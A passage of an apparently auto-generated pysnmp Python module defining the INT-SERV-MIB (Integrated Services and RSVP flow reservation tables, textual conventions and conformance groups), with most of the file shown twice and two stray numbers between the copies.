2147483647) class QosService(TextualConvention, Integer32): description = 'The class of service in use by a flow.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 5)) namedValues = NamedValues(("bestEffort", 1), ("guaranteedDelay", 2), ("controlledLoad", 5)) intSrvIfAttribTable = MibTable((1, 3, 6, 1, 2, 1, 52, 1, 1), ) if mibBuilder.loadTexts: intSrvIfAttribTable.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribTable.setDescription("The reservable attributes of the system's in- terfaces.") intSrvIfAttribEntry = MibTableRow((1, 3, 6, 1, 2, 1, 52, 1, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: intSrvIfAttribEntry.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribEntry.setDescription('The reservable attributes of a given inter- face.') intSrvIfAttribAllocatedBits = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 1), BitRate()).setUnits('Bits per second').setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribAllocatedBits.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribAllocatedBits.setDescription('The number of bits/second currently allocated to reserved sessions on the interface.') intSrvIfAttribMaxAllocatedBits = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 2), BitRate()).setUnits('Bits per second').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribMaxAllocatedBits.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribMaxAllocatedBits.setDescription('The maximum number of bits/second that may be allocated to reserved sessions on the inter- face.') intSrvIfAttribAllocatedBuffer = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 3), BurstSize()).setUnits('Bytes').setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribAllocatedBuffer.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribAllocatedBuffer.setDescription('The amount of buffer space required to hold the simultaneous burst of all reserved flows on the interface.') intSrvIfAttribFlows = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribFlows.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribFlows.setDescription('The number of reserved flows currently active on this interface. A flow can be created ei- ther from a reservation protocol (such as RSVP or ST-II) or via configuration information.') intSrvIfAttribPropagationDelay = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 5), Integer32()).setUnits('microseconds').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribPropagationDelay.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribPropagationDelay.setDescription('The amount of propagation delay that this in- terface introduces in addition to that intro- diced by bit propagation delays.') intSrvIfAttribStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 6), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribStatus.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribStatus.setDescription("'active' on interfaces that are configured for RSVP.") intSrvFlowTable = MibTable((1, 3, 6, 1, 2, 1, 52, 1, 2), ) if mibBuilder.loadTexts: intSrvFlowTable.setStatus('current') if mibBuilder.loadTexts: intSrvFlowTable.setDescription("Information describing the reserved flows us- ing the system's interfaces.") intSrvFlowEntry = MibTableRow((1, 3, 6, 1, 2, 1, 52, 1, 2, 1), ).setIndexNames((0, "INT-SERV-MIB", "intSrvFlowNumber")) if mibBuilder.loadTexts: intSrvFlowEntry.setStatus('current') if mibBuilder.loadTexts: intSrvFlowEntry.setDescription('Information describing the use of a given in- terface by a given flow. The counter intSrvFlowPoliced starts counting at the in- stallation of the flow.') intSrvFlowNumber = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 1), SessionNumber()) if mibBuilder.loadTexts: intSrvFlowNumber.setStatus('current') if mibBuilder.loadTexts: intSrvFlowNumber.setDescription('The number of this flow. This is for SNMP In- dexing purposes only and has no relation to any protocol value.') intSrvFlowType = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 2), SessionType()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowType.setStatus('current') if mibBuilder.loadTexts: intSrvFlowType.setDescription('The type of session (IP4, IP6, IP6 with flow information, etc).') intSrvFlowOwner = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("rsvp", 2), ("management", 3)))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowOwner.setStatus('current') if mibBuilder.loadTexts: intSrvFlowOwner.setDescription('The process that installed this flow in the queue policy database.') intSrvFlowDestAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestAddr.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDestAddr.setDescription("The destination address used by all senders in this session. This object may not be changed when the value of the RowStatus object is 'ac- tive'.") intSrvFlowSenderAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowSenderAddr.setStatus('current') if mibBuilder.loadTexts: intSrvFlowSenderAddr.setDescription("The source address of the sender selected by this reservation. The value of all zeroes in- dicates 'all senders'. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowDestAddrLength = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestAddrLength.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDestAddrLength.setDescription("The length of the destination address in bits. This is the CIDR Prefix Length, which for IP4 hosts and multicast addresses is 32 bits. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowSenderAddrLength = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowSenderAddrLength.setStatus('current') if mibBuilder.loadTexts: intSrvFlowSenderAddrLength.setDescription("The length of the sender's address in bits. This is the CIDR Prefix Length, which for IP4 hosts and multicast addresses is 32 bits. This object may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowProtocol = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 8), Protocol()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowProtocol.setStatus('current') if mibBuilder.loadTexts: intSrvFlowProtocol.setDescription("The IP Protocol used by a session. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowDestPort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 9), Port()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestPort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDestPort.setDescription("The UDP or TCP port number used as a destina- tion port for all senders in this session. If the IP protocol in use, specified by intSrvResvFwdProtocol, is 50 (ESP) or 51 (AH), this represents a virtual destination port number. A value of zero indicates that the IP protocol in use does not have ports. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowPort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 10), Port()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowPort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowPort.setDescription("The UDP or TCP port number used as a source port for this sender in this session. If the IP protocol in use, specified by intSrvResvFwdProtocol is 50 (ESP) or 51 (AH), this represents a generalized port identifier (GPI). A value of zero indicates that the IP protocol in use does not have ports. This ob- ject may not be changed when the value of the RowStatus object is 'active'.") intSrvFlowFlowId = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 11), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 16777215))).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowFlowId.setStatus('current') if mibBuilder.loadTexts: intSrvFlowFlowId.setDescription('The flow ID that this sender is using, if this is an IPv6 session.') intSrvFlowInterface = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 12), InterfaceIndex()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowInterface.setStatus('current') if mibBuilder.loadTexts: intSrvFlowInterface.setDescription('The ifIndex value of the interface on which this reservation exists.') intSrvFlowIfAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowIfAddr.setStatus('current') if mibBuilder.loadTexts: intSrvFlowIfAddr.setDescription('The IP Address on the ifEntry on which this reservation exists. This is present primarily to support those interfaces which layer multi- ple IP Addresses on the interface.') intSrvFlowRate = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 14), BitRate()).setUnits('bits per second').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowRate.setStatus('current') if mibBuilder.loadTexts: intSrvFlowRate.setDescription("The Reserved Rate of the sender's data stream. If this is a Controlled Load service flow, this rate is derived from the Tspec rate parameter (r). If this is a Guaranteed service flow, this rate is derived from the Rspec clearing rate parameter (R).") intSrvFlowBurst = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 15), BurstSize()).setUnits('bytes').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowBurst.setStatus('current') if mibBuilder.loadTexts: intSrvFlowBurst.setDescription("The size of the largest burst expected from the sender at a time. If this is less than the sender's advertised burst size, the receiver is asking the network to provide flow pacing beyond what would be provided under normal circumstances. Such pac- ing is at the network's option.") intSrvFlowWeight = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 16), Integer32()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowWeight.setStatus('current') if mibBuilder.loadTexts: intSrvFlowWeight.setDescription('The weight used to prioritize the traffic. Note that the interpretation of this object is implementation-specific, as implementations vary in their use of weighting procedures.') intSrvFlowQueue = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 17), Integer32()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowQueue.setStatus('current') if mibBuilder.loadTexts: intSrvFlowQueue.setDescription('The number of the queue used by this traffic. Note that the interpretation of this object is implementation-specific, as implementations vary in their use of queue identifiers.') intSrvFlowMinTU = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 18), MessageSize()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowMinTU.setStatus('current') if mibBuilder.loadTexts: intSrvFlowMinTU.setDescription('The minimum message size for this flow. The policing algorithm will treat smaller messages as though they are this size.') intSrvFlowMaxTU = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 19), MessageSize()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowMaxTU.setStatus('current') if mibBuilder.loadTexts: intSrvFlowMaxTU.setDescription('The maximum datagram size for this flow that will conform to the traffic specification. This value cannot exceed the MTU of the interface.') intSrvFlowBestEffort = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 20), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowBestEffort.setStatus('current') if mibBuilder.loadTexts: intSrvFlowBestEffort.setDescription('The number of packets that were remanded to best effort service.') intSrvFlowPoliced = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 21), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowPoliced.setStatus('current') if mibBuilder.loadTexts: intSrvFlowPoliced.setDescription("The number of packets policed since the incep- tion of the flow's service.") intSrvFlowDiscard = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 22), TruthValue().clone('false')).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDiscard.setStatus('current') if mibBuilder.loadTexts: intSrvFlowDiscard.setDescription("If 'true', the flow is to incur loss when traffic is policed. If 'false', policed traff- ic is treated as best effort traffic.") intSrvFlowService = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 23), QosService()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvFlowService.setStatus('current') if mibBuilder.loadTexts: intSrvFlowService.setDescription('The QoS service being applied to this flow.') intSrvFlowOrder = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 24), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowOrder.setStatus('current') if mibBuilder.loadTexts: intSrvFlowOrder.setDescription('In the event of ambiguity, the order in which the classifier should make its comparisons. The row with intSrvFlowOrder=0 is tried first, and comparisons proceed in the order of in- creasing value. Non-serial implementations of the classifier should emulate this behavior.') intSrvFlowStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 25), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowStatus.setStatus('current') if mibBuilder.loadTexts: intSrvFlowStatus.setDescription("'active' for all active flows. This object may be used to install static classifier infor- mation, delete classifier information, or au- thorize such.") intSrvFlowNewIndex = MibScalar((1, 3, 6, 1, 2, 1, 52, 2, 1), TestAndIncr()).setMaxAccess("readwrite") if mibBuilder.loadTexts: intSrvFlowNewIndex.setStatus('current') if mibBuilder.loadTexts: intSrvFlowNewIndex.setDescription("This object is used to assign values to intSrvFlowNumber as described in 'Textual Con- ventions for SNMPv2'. The network manager reads the object, and then writes the value back in the SET that creates a new instance of intSrvFlowEntry. If the SET fails with the code 'inconsistentValue', then the process must be repeated; If the SET succeeds, then the ob- ject is incremented, and the new instance is created according to the manager's directions.") intSrvGroups = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4, 1)) intSrvCompliances = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4, 2)) intSrvCompliance = ModuleCompliance((1, 3, 6, 1, 2, 1, 52, 4, 2, 1)).setObjects(("INT-SERV-MIB", "intSrvIfAttribGroup"), ("INT-SERV-MIB", "intSrvFlowsGroup"), ("INT-SERV-MIB", "intSrvGenObjectsGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvCompliance = intSrvCompliance.setStatus('current') if mibBuilder.loadTexts: intSrvCompliance.setDescription('The compliance statement ') intSrvIfAttribGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 1)).setObjects(("INT-SERV-MIB", "intSrvIfAttribAllocatedBits"), ("INT-SERV-MIB", "intSrvIfAttribMaxAllocatedBits"), ("INT-SERV-MIB", "intSrvIfAttribAllocatedBuffer"), ("INT-SERV-MIB", "intSrvIfAttribFlows"), ("INT-SERV-MIB", "intSrvIfAttribPropagationDelay"), ("INT-SERV-MIB", "intSrvIfAttribStatus")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvIfAttribGroup = intSrvIfAttribGroup.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') intSrvFlowsGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 2)).setObjects(("INT-SERV-MIB", "intSrvFlowType"), ("INT-SERV-MIB", "intSrvFlowOwner"), ("INT-SERV-MIB", "intSrvFlowDestAddr"), ("INT-SERV-MIB", "intSrvFlowSenderAddr"), ("INT-SERV-MIB", "intSrvFlowDestAddrLength"), ("INT-SERV-MIB", "intSrvFlowSenderAddrLength"), ("INT-SERV-MIB", "intSrvFlowProtocol"), ("INT-SERV-MIB", "intSrvFlowDestPort"), ("INT-SERV-MIB", "intSrvFlowPort"), ("INT-SERV-MIB", "intSrvFlowFlowId"), ("INT-SERV-MIB", "intSrvFlowInterface"), ("INT-SERV-MIB", "intSrvFlowBestEffort"), ("INT-SERV-MIB", "intSrvFlowRate"), ("INT-SERV-MIB", "intSrvFlowBurst"), ("INT-SERV-MIB", "intSrvFlowWeight"), ("INT-SERV-MIB", "intSrvFlowQueue"), ("INT-SERV-MIB", "intSrvFlowMinTU"), ("INT-SERV-MIB", "intSrvFlowMaxTU"), ("INT-SERV-MIB", "intSrvFlowDiscard"), ("INT-SERV-MIB", "intSrvFlowPoliced"), ("INT-SERV-MIB", "intSrvFlowService"), ("INT-SERV-MIB", "intSrvFlowIfAddr"), ("INT-SERV-MIB", "intSrvFlowOrder"), ("INT-SERV-MIB", "intSrvFlowStatus")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvFlowsGroup = intSrvFlowsGroup.setStatus('current') if mibBuilder.loadTexts: intSrvFlowsGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') intSrvGenObjectsGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 52, 4, 1, 3)).setObjects(("INT-SERV-MIB", "intSrvFlowNewIndex")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): intSrvGenObjectsGroup = intSrvGenObjectsGroup.setStatus('current') if mibBuilder.loadTexts: intSrvGenObjectsGroup.setDescription('These objects are required for Systems sup- porting the Integrated Services Architecture.') mibBuilder.exportSymbols("INT-SERV-MIB", BitRate=BitRate, intSrvIfAttribAllocatedBits=intSrvIfAttribAllocatedBits, intSrvFlowMaxTU=intSrvFlowMaxTU, intSrvFlowOrder=intSrvFlowOrder, PYSNMP_MODULE_ID=intSrv, Protocol=Protocol, intSrvIfAttribAllocatedBuffer=intSrvIfAttribAllocatedBuffer, intSrvFlowDestAddr=intSrvFlowDestAddr, intSrvFlowBurst=intSrvFlowBurst, intSrvIfAttribFlows=intSrvIfAttribFlows, intSrvFlowTable=intSrvFlowTable, intSrvFlowEntry=intSrvFlowEntry, intSrvFlowSenderAddrLength=intSrvFlowSenderAddrLength, intSrvIfAttribGroup=intSrvIfAttribGroup, intSrvFlowInterface=intSrvFlowInterface, intSrvFlowDestAddrLength=intSrvFlowDestAddrLength, intSrvFlowDestPort=intSrvFlowDestPort, BurstSize=BurstSize, intSrvFlowStatus=intSrvFlowStatus, intSrvIfAttribMaxAllocatedBits=intSrvIfAttribMaxAllocatedBits, intSrvFlowNewIndex=intSrvFlowNewIndex, intSrvGroups=intSrvGroups, MessageSize=MessageSize, intSrvFlowRate=intSrvFlowRate, intSrvFlowPort=intSrvFlowPort, intSrvFlowIfAddr=intSrvFlowIfAddr, SessionType=SessionType, intSrvIfAttribTable=intSrvIfAttribTable, intSrvIfAttribPropagationDelay=intSrvIfAttribPropagationDelay, intSrvFlowService=intSrvFlowService, intSrvFlowsGroup=intSrvFlowsGroup, intSrvFlowWeight=intSrvFlowWeight, intSrvFlowMinTU=intSrvFlowMinTU, intSrvFlowProtocol=intSrvFlowProtocol, intSrvFlowOwner=intSrvFlowOwner, intSrvIfAttribEntry=intSrvIfAttribEntry, intSrvFlowSenderAddr=intSrvFlowSenderAddr, QosService=QosService, SessionNumber=SessionNumber, intSrvObjects=intSrvObjects, intSrvGenObjects=intSrvGenObjects, intSrvFlowFlowId=intSrvFlowFlowId, intSrvCompliances=intSrvCompliances, intSrv=intSrv, intSrvFlowNumber=intSrvFlowNumber, intSrvNotifications=intSrvNotifications, intSrvFlowQueue=intSrvFlowQueue, intSrvFlowBestEffort=intSrvFlowBestEffort, intSrvFlowType=intSrvFlowType, intSrvCompliance=intSrvCompliance, Port=Port, intSrvIfAttribStatus=intSrvIfAttribStatus, intSrvFlowPoliced=intSrvFlowPoliced, intSrvFlowDiscard=intSrvFlowDiscard, intSrvGenObjectsGroup=intSrvGenObjectsGroup, intSrvConformance=intSrvConformance)

129.878788

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0.780876

ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint") InterfaceIndex, ifIndex = mibBuilder.importSymbols("IF-MIB", "InterfaceIndex", "ifIndex") ModuleCompliance, ObjectGroup, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "ObjectGroup", "NotificationGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, Counter32, IpAddress, ModuleIdentity, Unsigned32, MibIdentifier, NotificationType, Integer32, TimeTicks, Bits, mib_2, iso, Gauge32, ObjectIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "Counter32", "IpAddress", "ModuleIdentity", "Unsigned32", "MibIdentifier", "NotificationType", "Integer32", "TimeTicks", "Bits", "mib-2", "iso", "Gauge32", "ObjectIdentity") DisplayString, TruthValue, RowStatus, TestAndIncr, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TruthValue", "RowStatus", "TestAndIncr", "TextualConvention") intSrv = ModuleIdentity((1, 3, 6, 1, 2, 1, 52)) if mibBuilder.loadTexts: intSrv.setLastUpdated('9710030642Z') if mibBuilder.loadTexts: intSrv.setOrganization('IETF Integrated Services Working Group') if mibBuilder.loadTexts: intSrv.setContactInfo(' Fred Baker Postal: Cisco Systems 519 Lado Drive Santa Barbara, California 93111 Tel: +1 805 681 0115 E-Mail: fred@cisco.com John Krawczyk Postal: ArrowPoint Communications 235 Littleton Road Westford, Massachusetts 01886 Tel: +1 508 692 5875 E-Mail: jjk@tiac.net') if mibBuilder.loadTexts: intSrv.setDescription('The MIB module to describe the Integrated Services Protocol') intSrvObjects = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 1)) intSrvGenObjects = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 2)) intSrvNotifications = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 3)) intSrvConformance = MibIdentifier((1, 3, 6, 1, 2, 1, 52, 4)) class SessionNumber(TextualConvention, Integer32): description = 'The Session Number convention is used for numbers identifying sessions or saved PATH or RESV information. It is a number in the range returned by a TestAndIncr variable, having no protocol meaning whatsoever but serving instead as simple identifier. The alternative was a very complex instance or instance object that became unwieldy.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class Protocol(TextualConvention, Integer32): description = 'The value of the IP Protocol field of an IP Datagram Header. This identifies the protocol layer above IP. For example, the value 6 is used for TCP and the value 17 is used for UDP. The values of this field are defined in the As- signed Numbers RFC.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class SessionType(TextualConvention, Integer32): description = "The value of the C-Type field of a Session ob- ject, as defined in the RSVP specification. This value determines the lengths of octet strings and use of certain objects such as the 'port' variables. If the C-Type calls for an IP6 address, one would expect all source, des- tination, and next/previous hop addresses to be 16 bytes long, and for the ports to be UDP/TCP port numbers, for example." status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class Port(TextualConvention, OctetString): description = 'The value of the UDP or TCP Source or Destina- tion Port field, a virtual destination port or generalized port identifier used with the IPSEC Authentication Header or Encapsulating Security Payload, or other session discriminator. If it is not used, the value should be of length 0. This pair, when coupled with the IP Addresses of the source and destination system and the IP protocol field, uniquely identifies a data stream.' status = 'current' displayHint = 'd' subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(2, 4) class MessageSize(TextualConvention, Integer32): description = 'The size of a message in bytes. This is used to specify the minimum and maximum size of a message along an integrated services route.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class BitRate(TextualConvention, Integer32): description = 'The rate, in bits/second, that data may move in the context. Applicable contexts minimally include the speed of an interface or virtual circuit, the data rate of a (potentially aggre- gated) data flow, or the data rate to be allo- cated for use by a flow.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class BurstSize(TextualConvention, Integer32): description = 'The number of octets of IP Data, including IP Headers, that a stream may send without concern for policing.' status = 'current' displayHint = 'd' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class QosService(TextualConvention, Integer32): description = 'The class of service in use by a flow.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 5)) namedValues = NamedValues(("bestEffort", 1), ("guaranteedDelay", 2), ("controlledLoad", 5)) intSrvIfAttribTable = MibTable((1, 3, 6, 1, 2, 1, 52, 1, 1), ) if mibBuilder.loadTexts: intSrvIfAttribTable.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribTable.setDescription("The reservable attributes of the system's in- terfaces.") intSrvIfAttribEntry = MibTableRow((1, 3, 6, 1, 2, 1, 52, 1, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: intSrvIfAttribEntry.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribEntry.setDescription('The reservable attributes of a given inter- face.') intSrvIfAttribAllocatedBits = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 1), BitRate()).setUnits('Bits per second').setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribAllocatedBits.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribAllocatedBits.setDescription('The number of bits/second currently allocated to reserved sessions on the interface.') intSrvIfAttribMaxAllocatedBits = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 2), BitRate()).setUnits('Bits per second').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribMaxAllocatedBits.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribMaxAllocatedBits.setDescription('The maximum number of bits/second that may be allocated to reserved sessions on the inter- face.') intSrvIfAttribAllocatedBuffer = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 3), BurstSize()).setUnits('Bytes').setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribAllocatedBuffer.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribAllocatedBuffer.setDescription('The amount of buffer space required to hold the simultaneous burst of all reserved flows on the interface.') intSrvIfAttribFlows = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 4), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: intSrvIfAttribFlows.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribFlows.setDescription('The number of reserved flows currently active on this interface. A flow can be created ei- ther from a reservation protocol (such as RSVP or ST-II) or via configuration information.') intSrvIfAttribPropagationDelay = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 5), Integer32()).setUnits('microseconds').setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribPropagationDelay.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribPropagationDelay.setDescription('The amount of propagation delay that this in- terface introduces in addition to that intro- diced by bit propagation delays.') intSrvIfAttribStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 1, 1, 6), RowStatus()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvIfAttribStatus.setStatus('current') if mibBuilder.loadTexts: intSrvIfAttribStatus.setDescription("'active' on interfaces that are configured for RSVP.") intSrvFlowTable = MibTable((1, 3, 6, 1, 2, 1, 52, 1, 2), ) if mibBuilder.loadTexts: intSrvFlowTable.setStatus('current') if mibBuilder.loadTexts: intSrvFlowTable.setDescription("Information describing the reserved flows us- ing the system's interfaces.") intSrvFlowEntry = MibTableRow((1, 3, 6, 1, 2, 1, 52, 1, 2, 1), ).setIndexNames((0, "INT-SERV-MIB", "intSrvFlowNumber")) if mibBuilder.loadTexts: intSrvFlowEntry.setStatus('current') if mibBuilder.loadTexts: intSrvFlowEntry.setDescription('Information describing the use of a given in- terface by a given flow. The counter intSrvFlowPoliced starts counting at the in- stallation of the flow.') intSrvFlowNumber = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 1), SessionNumber()) if mibBuilder.loadTexts: intSrvFlowNumber.setStatus('current') if mibBuilder.loadTexts: intSrvFlowNumber.setDescription('The number of this flow. This is for SNMP In- dexing purposes only and has no relation to any protocol value.') intSrvFlowType = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 2), SessionType()).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowType.setStatus('current') if mibBuilder.loadTexts: intSrvFlowType.setDescription('The type of session (IP4, IP6, IP6 with flow information, etc).') intSrvFlowOwner = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("rsvp", 2), ("management", 3)))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowOwner.setStatus('current') if mibBuilder.loadTexts: intSrvFlowOwner.setDescription('The process that installed this flow in the queue policy database.') intSrvFlowDestAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 52, 1, 2, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(4, 16))).setMaxAccess("readcreate") if mibBuilder.loadTexts: intSrvFlowDestAddr.setStatus('current') if 